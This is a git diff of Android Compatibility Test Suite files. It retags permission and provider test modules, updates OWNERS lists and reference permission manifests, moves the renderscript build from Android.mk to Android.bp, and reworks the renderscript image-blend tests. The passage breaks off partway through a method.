diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
index 85ce995..caaa8e8 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
@@ -25,7 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
     certificate: ":cts-testkey1",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
index 9fefaf5..d9ca4c8 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
@@ -25,7 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
     certificate: ":cts-testkey2",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
index 7aeb75f5..b4ea30a 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
@@ -25,7 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
     certificate: ":cts-testkey1",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
index 060a2dc..22c6ccd 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
@@ -25,7 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
     certificate: ":cts-testkey2",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
index 542a6b3..5627a3d 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
@@ -26,7 +26,7 @@
         "cts",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
     certificate: ":cts-testkey1",
 }
diff --git a/tests/tests/permission2/res/raw/OWNERS b/tests/tests/permission2/res/raw/OWNERS
index 04895ff..30c2543 100644
--- a/tests/tests/permission2/res/raw/OWNERS
+++ b/tests/tests/permission2/res/raw/OWNERS
@@ -1,9 +1,8 @@
-svetoslavganov@google.com
 cbrubaker@google.com
 hackbod@google.com
-toddke@google.com
 patb@google.com
 yamasani@google.com
 michaelwr@google.com
 narayan@google.com
-per-file automotive_android_manifest.xml = sgurun@google.com
\ No newline at end of file
+roosa@google.com
+per-file automotive_android_manifest.xml = sgurun@google.com,keunyoung@google.com,felipeal@google.com,skeys@google.com
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index cfcc38b..73dff93 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -1920,6 +1920,11 @@
     <permission android:name="android.permission.CONTROL_OEM_PAID_NETWORK_PREFERENCE"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi @hide Allows an application to manage ethernet networks.
+         <p>Not for use by third-party or privileged applications. -->
+    <permission android:name="android.permission.MANAGE_ETHERNET_NETWORKS"
+        android:protectionLevel="signature" />
+
     <!-- ======================================= -->
     <!-- Permissions for short range, peripheral networks -->
     <!-- ======================================= -->
@@ -1965,6 +1970,14 @@
         android:label="@string/permlab_uwb_ranging"
         android:protectionLevel="dangerous" />
 
+    <!-- Required to be able to advertise and connect to nearby devices via Wi-Fi.
+         <p>Protection level: dangerous -->
+    <permission android:name="android.permission.NEARBY_WIFI_DEVICES"
+        android:permissionGroup="android.permission-group.UNDEFINED"
+        android:description="@string/permdesc_nearby_wifi_devices"
+        android:label="@string/permlab_nearby_wifi_devices"
+        android:protectionLevel="dangerous" />
+
     <!-- @SystemApi @TestApi Allows an application to suspend other apps, which will prevent the
          user from using them until they are unsuspended.
          @hide
@@ -1986,7 +1999,7 @@
     <permission android:name="android.permission.BLUETOOTH_PRIVILEGED"
         android:protectionLevel="signature|privileged" />
 
-    <!-- Control access to email providers exclusively for Bluetooth
+    <!-- SystemApi Control access to email providers exclusively for Bluetooth
          @hide
     -->
     <permission android:name="android.permission.BLUETOOTH_MAP"
@@ -2696,6 +2709,10 @@
     <permission android:name="android.permission.CONFIGURE_INTERACT_ACROSS_PROFILES"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi @hide Allows starting activities across profiles in the same profile group. -->
+    <permission android:name="android.permission.START_CROSS_PROFILE_ACTIVITIES"
+        android:protectionLevel="signature|role" />
+
     <!-- @SystemApi @hide Allows an application to call APIs that allow it to query and manage
          users on the device. This permission is not available to
          third party applications. -->
@@ -3359,6 +3376,12 @@
     <permission android:name="android.permission.UPDATE_FONTS"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows the caller to generate keymint keys with the INCLUDE_UNIQUE_ID tag, which
+         uniquely identifies the device via the attestation certificate.
+         @hide @TestApi -->
+    <permission android:name="android.permission.REQUEST_UNIQUE_ID_ATTESTATION"
+         android:protectionLevel="signature" />
+
     <!-- ========================================= -->
     <!-- Permissions for special development tools -->
     <!-- ========================================= -->
@@ -3408,6 +3431,13 @@
     <permission android:name="android.permission.SIGNAL_PERSISTENT_PROCESSES"
         android:protectionLevel="signature|privileged|development" />
 
+    <!-- @hide @SystemApi Must be required by a
+         {@link com.android.service.tracing.TraceReportService}, to ensure that only the system
+         can bind to it.
+        <p>Not for use by third-party applications. -->
+    <permission android:name="android.permission.BIND_TRACE_REPORT_SERVICE"
+                android:protectionLevel="signature" />
+
     <!-- @hide @SystemApi @TestApi
          Allow an application to approve incident and bug reports to be
          shared off-device.  There can be only one application installed on the
@@ -5795,8 +5825,16 @@
     <permission android:name="android.permission.CAPTURE_BLACKOUT_CONTENT"
         android:protectionLevel="signature" />
 
-      <!-- @SystemApi Allows an application to query over global data in AppSearch.
-           @hide -->
+    <!-- Allows read only access to phone state with a non dangerous permission,
+         including the information like cellular network type, software version. -->
+    <permission android:name="android.permission.READ_BASIC_PHONE_STATE"
+                android:permissionGroup="android.permission-group.UNDEFINED"
+                android:label="@string/permlab_readBasicPhoneState"
+                android:description="@string/permdesc_readBasicPhoneState"
+                android:protectionLevel="normal" />
+
+    <!-- @SystemApi Allows an application to query over global data in AppSearch.
+         @hide -->
     <permission android:name="android.permission.READ_GLOBAL_APP_SEARCH_DATA"
                 android:protectionLevel="internal|role" />
 
@@ -6243,10 +6281,6 @@
                  android:permission="android.permission.BIND_JOB_SERVICE" >
         </service>
 
-        <service android:name="com.android.server.timezone.TimeZoneUpdateIdler"
-                 android:permission="android.permission.BIND_JOB_SERVICE" >
-        </service>
-
         <service android:name="com.android.server.usage.UsageStatsIdleService"
                  android:permission="android.permission.BIND_JOB_SERVICE" >
         </service>
@@ -6277,10 +6311,6 @@
                     android:resource="@xml/autofill_compat_accessibility_service" />
         </service>
 
-        <service android:name="com.google.android.startop.iorap.IorapForwardingService$IorapdJobServiceProxy"
-                 android:permission="android.permission.BIND_JOB_SERVICE" >
-        </service>
-
         <service android:name="com.android.server.blob.BlobStoreIdleJobService"
                  android:permission="android.permission.BIND_JOB_SERVICE">
         </service>
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index 4117a78..d6ce2e1 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -435,11 +435,6 @@
         android:label="@string/car_permission_label_collect_car_watchdog_metrics"
         android:description="@string/car_permission_desc_collect_car_watchdog_metrics"/>
 
-    <permission android:name="android.car.permission.USE_CAR_TELEMETRY_SERVICE"
-        android:protectionLevel="signature|privileged"
-        android:label="@string/car_permission_label_use_telemetry_service"
-        android:description="@string/car_permission_desc_use_telemetry_service"/>
-
     <permission android:name="android.car.permission.CONTROL_CAR_EVS_ACTIVITY"
         android:protectionLevel="signature|privileged"
         android:label="@string/car_permission_label_control_evs_activity"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index a062aff..3b20f6d 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -445,6 +445,7 @@
             case MANAGE_COMPANION_DEVICES_PERMISSION:
                 return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
             case ALLOW_SLIPPERY_TOUCHES_PERMISSION:
+                // In R and S branches, skip this permission
                 return true;
             default:
                 return false;
diff --git a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
index 5a11331..989f79c 100755
--- a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
@@ -44,6 +44,8 @@
 import com.android.compatibility.common.util.PropertyUtil;
 import com.android.compatibility.common.util.SystemUtil;
 
+import com.google.common.collect.ImmutableSet;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -71,6 +73,26 @@
 @RunWith(AndroidJUnit4.class)
 public class PrivappPermissionsTest {
 
+    // TODO(b/191740932): Migrate APK-in-APEX priv-app allowlists inside their respective modules,
+    // so that {@code adb shell cmd package get-privapp-permissions <packageName>} lists them.
+    private static final Set<String> APK_IN_APEX_ALLOWLIST_MIGRATION_BURNDOWN_LIST =
+            ImmutableSet.of(
+                // Updatable APEX packages
+                "com.google.android.networkstack.tethering",
+                "com.google.android.ext.services",
+                "com.google.android.providers.media.module",
+                "com.google.android.permissioncontroller",
+                "com.google.android.cellbroadcastreceiver",
+                "com.google.android.cellbroadcastservice",
+                // AOSP APEX packages
+                "com.android.networkstack.tethering",
+                "com.android.ext.services",
+                "com.android.providers.media.module",
+                "com.android.permissioncontroller",
+                "com.android.cellbroadcastreceiver",
+                "com.android.cellbroadcastservice"
+            );
+
     private static final String TAG = "PrivappPermissionsTest";
 
     private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -108,9 +130,9 @@
                 continue;
             }
 
-            // Exempt apk-in-apex as there is currently no way to get the PackageInfo of the
-            // preinstalled APK
-            if (pkg.applicationInfo.sourceDir.startsWith("/apex")) {
+            // Exempt apk-in-apexes that have not had their priv-app permission allowlist .xml
+            // migrated inside their respective APEXes.
+            if (APK_IN_APEX_ALLOWLIST_MIGRATION_BURNDOWN_LIST.contains(packageName)) {
                 continue;
             }
 
diff --git a/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt b/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt
index 76c22e4..dba2522 100644
--- a/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt
+++ b/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt
@@ -29,6 +29,7 @@
 import android.Manifest.permission.CALL_PHONE
 import android.Manifest.permission.CAMERA
 import android.Manifest.permission.GET_ACCOUNTS
+import android.Manifest.permission.NEARBY_WIFI_DEVICES
 import android.Manifest.permission.PACKAGE_USAGE_STATS
 import android.Manifest.permission.PROCESS_OUTGOING_CALLS
 import android.Manifest.permission.READ_CALENDAR
@@ -45,7 +46,7 @@
 import android.Manifest.permission.RECORD_AUDIO
 import android.Manifest.permission.SEND_SMS
 import android.Manifest.permission.USE_SIP
-import android.Manifest.permission.UWB_RANGING;
+import android.Manifest.permission.UWB_RANGING
 import android.Manifest.permission.WRITE_CALENDAR
 import android.Manifest.permission.WRITE_CALL_LOG
 import android.Manifest.permission.WRITE_CONTACTS
@@ -154,6 +155,10 @@
         expectedPerms.add(BLUETOOTH_SCAN)
         expectedPerms.add(UWB_RANGING)
 
+        // Add runtime permissions added in T which were _not_ split from a previously existing
+        // runtime permission
+        expectedPerms.add(NEARBY_WIFI_DEVICES)
+
         assertThat(expectedPerms).containsExactlyElementsIn(platformRuntimePerms.map { it.name })
     }
 }
diff --git a/tests/tests/permission3/Android.bp b/tests/tests/permission3/Android.bp
index 3d91b81..ecc70dc 100644
--- a/tests/tests/permission3/Android.bp
+++ b/tests/tests/permission3/Android.bp
@@ -56,6 +56,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index ae78a18..ffd76c2 100755
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -619,7 +619,11 @@
 
     private fun scrollToBottom() {
         val scrollable = UiScrollable(UiSelector().scrollable(true)).apply {
-            swipeDeadZonePercentage = 0.25
+            if (isWatch) {
+                swipeDeadZonePercentage = 0.1
+            } else {
+                swipeDeadZonePercentage = 0.25
+            }
         }
         waitForIdle()
         if (scrollable.exists()) {
diff --git a/tests/tests/permission4/Android.bp b/tests/tests/permission4/Android.bp
index 3f2d3db..bb0fd4b 100644
--- a/tests/tests/permission4/Android.bp
+++ b/tests/tests/permission4/Android.bp
@@ -22,7 +22,6 @@
     name: "CtsPermission4TestCases",
     sdk_version: "test_current",
     defaults: ["cts_defaults"],
-    platform_apis: true,
     srcs: [
         "src/**/*.kt",
     ],
@@ -37,6 +36,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission5/Android.bp b/tests/tests/permission5/Android.bp
index d7cb067..00efcf6 100644
--- a/tests/tests/permission5/Android.bp
+++ b/tests/tests/permission5/Android.bp
@@ -37,6 +37,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission5/OWNERS b/tests/tests/permission5/OWNERS
index febd665..6e91130 100644
--- a/tests/tests/permission5/OWNERS
+++ b/tests/tests/permission5/OWNERS
@@ -1,7 +1,7 @@
 # Bug component: 137825
-svetoslavganov@google.com
+narayan@google.com
 zhanghai@google.com
 eugenesusla@google.com
 evanseverson@google.com
 ntmyren@google.com
-ewol@google.com
+ashfall@google.com
diff --git a/tests/tests/preference/src/android/preference/cts/TestUtils.java b/tests/tests/preference/src/android/preference/cts/TestUtils.java
index 1992b95..e69e98f 100644
--- a/tests/tests/preference/src/android/preference/cts/TestUtils.java
+++ b/tests/tests/preference/src/android/preference/cts/TestUtils.java
@@ -16,6 +16,8 @@
 
 package android.preference.cts;
 
+import static org.junit.Assert.assertNotNull;
+
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
@@ -69,6 +71,7 @@
         waitForIdle();
 
         Bitmap bt = mAutomation.takeScreenshot();
+        assertNotNull("Screenshot must not return null", bt);
 
         // Crop-out the status bar to avoid flakiness with changing notifications / time.
         int statusBarHeight = getStatusBarHeight();
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index c979102..91566e3 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -13,7 +13,7 @@
         "cts",
         "general-tests",
         "sts",
-        "mts",
+        "mts-documentsui",
     ],
 
     libs: [
diff --git a/tests/tests/provider/AndroidManifest.xml b/tests/tests/provider/AndroidManifest.xml
index e5e41ec..93ba41d 100644
--- a/tests/tests/provider/AndroidManifest.xml
+++ b/tests/tests/provider/AndroidManifest.xml
@@ -16,6 +16,7 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     xmlns:tools="http://schemas.android.com/tools"
      package="android.provider.cts">
 
     <uses-sdk android:targetSdkVersion="28"/>
@@ -125,6 +126,12 @@
             </intent-filter>
         </activity>
 
+        <!-- (b/197919878) Disable startup provider due to resource loading issue. -->
+        <provider
+            android:name="androidx.startup.InitializationProvider"
+            android:authorities="${applicationId}.androidx-startup"
+            tools:node="remove" />
+
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/provider/OWNERS b/tests/tests/provider/OWNERS
index 79975c0..7c9a6b2 100644
--- a/tests/tests/provider/OWNERS
+++ b/tests/tests/provider/OWNERS
@@ -1,8 +1,13 @@
-# Bug component: 655625
-
-include platform/frameworks/base:/core/java/android/os/storage/OWNERS
-
 tgunn@google.com
 nicksauer@google.com
 nona@google.com
-omakoto@google.com
+
+# Storage team ownership
+
+# Bug component: 655625 = per-file *MediaStore*
+
+per-file *MediaStore* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file Android.bp = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file AndroidManifest.xml = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file AndroidTest.xml = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file OWNERS = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/tests/tests/provider/app/GalleryTestApp/AndroidManifest.xml b/tests/tests/provider/app/GalleryTestApp/AndroidManifest.xml
index 13b423d..9115125 100644
--- a/tests/tests/provider/app/GalleryTestApp/AndroidManifest.xml
+++ b/tests/tests/provider/app/GalleryTestApp/AndroidManifest.xml
@@ -15,6 +15,7 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     xmlns:tools="http://schemas.android.com/tools"
      package="android.provider.apps.cts.gallerytestapp">
 
     <application>
@@ -28,6 +29,7 @@
             <meta-data android:name="android.media.review_gallery_prewarm_service"
                  android:value="android.provider.apps.cts.gallerytestapp.ReviewPrewarmService"/>
         </activity>
+
     </application>
 
 </manifest>
diff --git a/tests/tests/provider/app/MultiAuthorityApp/AndroidManifest.xml b/tests/tests/provider/app/MultiAuthorityApp/AndroidManifest.xml
index b6ed403..4181b49 100644
--- a/tests/tests/provider/app/MultiAuthorityApp/AndroidManifest.xml
+++ b/tests/tests/provider/app/MultiAuthorityApp/AndroidManifest.xml
@@ -15,12 +15,14 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     xmlns:tools="http://schemas.android.com/tools"
      package="android.provider.apps.cts.multiauthority">
 
     <application>
         <provider android:name=".MultiAuthorityProvider"
                 android:exported="true"
                 android:authorities="android.provider.apps.cts.multi1;android.provider.apps.cts.multi2" />
+
     </application>
 
 </manifest>
diff --git a/tests/tests/renderscript/Android.bp b/tests/tests/renderscript/Android.bp
new file mode 100644
index 0000000..1934bb6
--- /dev/null
+++ b/tests/tests/renderscript/Android.bp
@@ -0,0 +1,70 @@
+// Copyright (C) 2011 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsRenderscriptTestCases",
+    defaults: ["cts_defaults"],
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "xmp_toolkit",
+    ],
+    libs: ["android.test.base.stubs"],
+    jni_libs: ["libcoremathtestcpp_jni"],
+    srcs: [
+        "src/**/*.java",
+        ":CtsRenderscriptTestCases-rscript{CtsRenderscriptTestCases.srcjar}",
+    ],
+    resource_zips: [
+        ":CtsRenderscriptTestCases-rscript{CtsRenderscriptTestCases.res.zip}",
+    ],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+genrule {
+    name: "CtsRenderscriptTestCases-rscript",
+    srcs: [
+        "src/**/*.rscript",
+        ":rs_script_api",
+        ":rs_clang_headers",
+    ],
+    tools: [
+        "llvm-rs-cc",
+        "soong_zip",
+    ],
+    out: [
+        "CtsRenderscriptTestCases.srcjar",
+        "CtsRenderscriptTestCases.res.zip",
+    ],
+    cmd: "for f in $(locations src/**/*.rscript); do " +
+        "  $(location llvm-rs-cc) -Wno-error=deprecated-declarations " +
+        "  -o $(genDir)/res/raw -p $(genDir)/src " +
+        "  -I $$(dirname $$(echo $(locations :rs_script_api) | awk '{ print $$1 }')) " +
+        "  -I $$(dirname $$(echo $(locations :rs_clang_headers) | awk '{ print $$1 }')) $${f}; " +
+        "done && " +
+        "$(location soong_zip) -srcjar -o $(location CtsRenderscriptTestCases.srcjar) -C $(genDir)/src -D $(genDir)/src &&" +
+        "$(location soong_zip) -o $(location CtsRenderscriptTestCases.res.zip) -C $(genDir)/res -D $(genDir)/res",
+}
diff --git a/tests/tests/renderscript/Android.mk b/tests/tests/renderscript/Android.mk
deleted file mode 100644
index 20fe73e..0000000
--- a/tests/tests/renderscript/Android.mk
+++ /dev/null
@@ -1,49 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Replace "Example" with your name.
-LOCAL_PACKAGE_NAME := CtsRenderscriptTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    xmp_toolkit
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-LOCAL_JNI_SHARED_LIBRARIES := libcoremathtestcpp_jni
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
-
-LOCAL_RENDERSCRIPT_FLAGS := -Wno-error=deprecated-declarations
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-include $(BUILD_CTS_PACKAGE)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/AllocationTest.java b/tests/tests/renderscript/src/android/renderscript/cts/AllocationTest.java
index 84ebee7..a3a58e5 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/AllocationTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/AllocationTest.java
@@ -219,7 +219,10 @@
         Allocation.createFromBitmap(mRS, B).destroy();
         Allocation.createCubemapFromBitmap(mRS, B).destroy();
         for (Allocation.MipmapControl mc : Allocation.MipmapControl.values()) {
-            helperCreateFromBitmap(B, mc);
+            if (mc != Allocation.MipmapControl.MIPMAP_FULL) {
+                // MIPMAP_FULL is not tested because of http://b/184904346
+                helperCreateFromBitmap(B, mc);
+            }
         }
 
         try {
@@ -883,5 +886,3 @@
     a.destroy();
    }
 }
-
-
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java b/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
index c069760..88b2b75 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
@@ -16,6 +16,9 @@
 
 package android.renderscript.cts;
 
+import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
+
 import android.renderscript.Allocation;
 
 import android.renderscript.Byte2;
@@ -61,6 +64,8 @@
 import android.renderscript.ScriptIntrinsicLUT;
 import android.util.Log;
 
+import com.android.compatibility.common.util.PropertyUtil;
+
 public class ImageProcessingTest extends RSBaseCompute {
     private Allocation a1, a2;
 
@@ -109,6 +114,7 @@
         mBlur.destroy();
     }
 
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
     public void testBlend() {
         ScriptIntrinsicBlend mBlend;
         mBlend = ScriptIntrinsicBlend.create(mRS, Element.U8_4(mRS));
@@ -119,9 +125,8 @@
         byte[] srcData = new byte[w * h * 4];
         byte[] dstData = new byte[w * h * 4];
         byte[] resultData = new byte[w * h * 4];
-        Script.LaunchOptions opt = new Script.LaunchOptions();
-        // unclipped but with options
-        for (int i = 0; i < 28; i++) {
+
+        for (int i = 0; i < 14; i++) {
             buildSrc(srcData, w, h);
             buildDst(dstData, w, h);
             src.copyFromUnchecked(srcData);
@@ -170,51 +175,79 @@
                 case 13:
                     mBlend.forEachMultiply(src, dst);
                     break;
-                case 14:
+            }
+            dst.copyTo(resultData);
+            String name = javaBlend(i, srcData, dstData, 0, w, 0, h, w);
+            assertTrue(name, similar(resultData,dstData));
+            Log.v("BlendUnit", name + " " + similar(resultData, dstData));
+        }
+
+        // Do the same but passing LaunchOptions
+        int xStart = 0;
+        int xEnd = w;
+        int yStart = 0;
+        int yEnd = h;
+        // LaunchOptions tests with restricted range are new tests added in T, so only test them
+        // when the vendor partition has version >= T.
+        if (PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            xStart = 10;
+            xEnd = 20;
+            yStart = 3;
+            yEnd = 6;
+        }
+        Script.LaunchOptions opt = new Script.LaunchOptions();
+        opt.setX(xStart, xEnd).setY(yStart, yEnd);
+        for (int i = 0; i < 14; i++) {
+            buildSrc(srcData, w, h);
+            buildDst(dstData, w, h);
+            src.copyFromUnchecked(srcData);
+            dst.copyFromUnchecked(dstData);
+            switch (i) {
+                case 0:
                     mBlend.forEachSrc(src, dst, opt);
                     break;
-                case 15:
+                case 1:
                     mBlend.forEachDst(src, dst, opt);
                     break;
-                case 16:
+                case 2:
                     mBlend.forEachSrcOver(src, dst, opt);
                     break;
-                case 17:
+                case 3:
                     mBlend.forEachDstOver(src, dst, opt);
                     break;
-                case 18:
+                case 4:
                     mBlend.forEachSrcIn(src, dst, opt);
                     break;
-                case 19:
+                case 5:
                     mBlend.forEachDstIn(src, dst, opt);
                     break;
-                case 20:
+                case 6:
                     mBlend.forEachSrcOut(src, dst, opt);
                     break;
-                case 21:
+                case 7:
                     mBlend.forEachDstOut(src, dst, opt);
                     break;
-                case 22:
+                case 8:
                     mBlend.forEachSrcAtop(src, dst, opt);
                     break;
-                case 23:
+                case 9:
                     mBlend.forEachDstAtop(src, dst, opt);
                     break;
-                case 24:
+                case 10:
                     mBlend.forEachXor(src, dst, opt);
                     break;
-                case 25:
+                case 11:
                     mBlend.forEachAdd(src, dst, opt);
                     break;
-                case 26:
+                case 12:
                     mBlend.forEachSubtract(src, dst, opt);
                     break;
-                case 27:
+                case 13:
                     mBlend.forEachMultiply(src, dst, opt);
                     break;
             }
             dst.copyTo(resultData);
-            String name = javaBlend(i%14, srcData, dstData);
+            String name = javaBlend(i, srcData, dstData, xStart, xEnd, yStart, yEnd, w);
             assertTrue(name, similar(resultData,dstData));
             Log.v("BlendUnit", name + " " + similar(resultData, dstData));
 
@@ -260,6 +293,18 @@
             srcData[i * 4 + 2] = (byte) 0; // blue
             srcData[i * 4 + 3] = (byte) y; // alpha
         }
+        // Manually set a few known problematic values.
+        // These created problems for SRC_OVER, SRC_ATOP
+        srcData[0] = 230 - 256;
+        srcData[1] = 200 - 256;
+        srcData[2] = 210 - 256;
+        srcData[3] = 7;
+
+        // These created problems for DST_OVER, DST_ATOP,
+        srcData[4] = 230 - 255;
+        srcData[5] = 200 - 256;
+        srcData[6] = 210 - 256;
+        srcData[7] = 245 - 256;
     }
 
     // Build a test pattern to be the destination pattern designed to provide a wide range of values
@@ -273,18 +318,29 @@
             dstData[i * 4 + 2] = (byte) y; // blue
             dstData[i * 4 + 3] = (byte) x; // alpha
         }
+        // Manually set a few known problematic values
+        dstData[0] = 170 - 256;
+        dstData[1] = 180 - 256;
+        dstData[2] = 230 - 256;
+        dstData[3] = 245 - 256;
 
+        dstData[4] = 170 - 256;
+        dstData[5] = 180 - 256;
+        dstData[6] = 230 - 256;
+        dstData[7] = 9;
     }
 
-    public String javaBlend(int type, byte[] src, byte[] dst) {
-
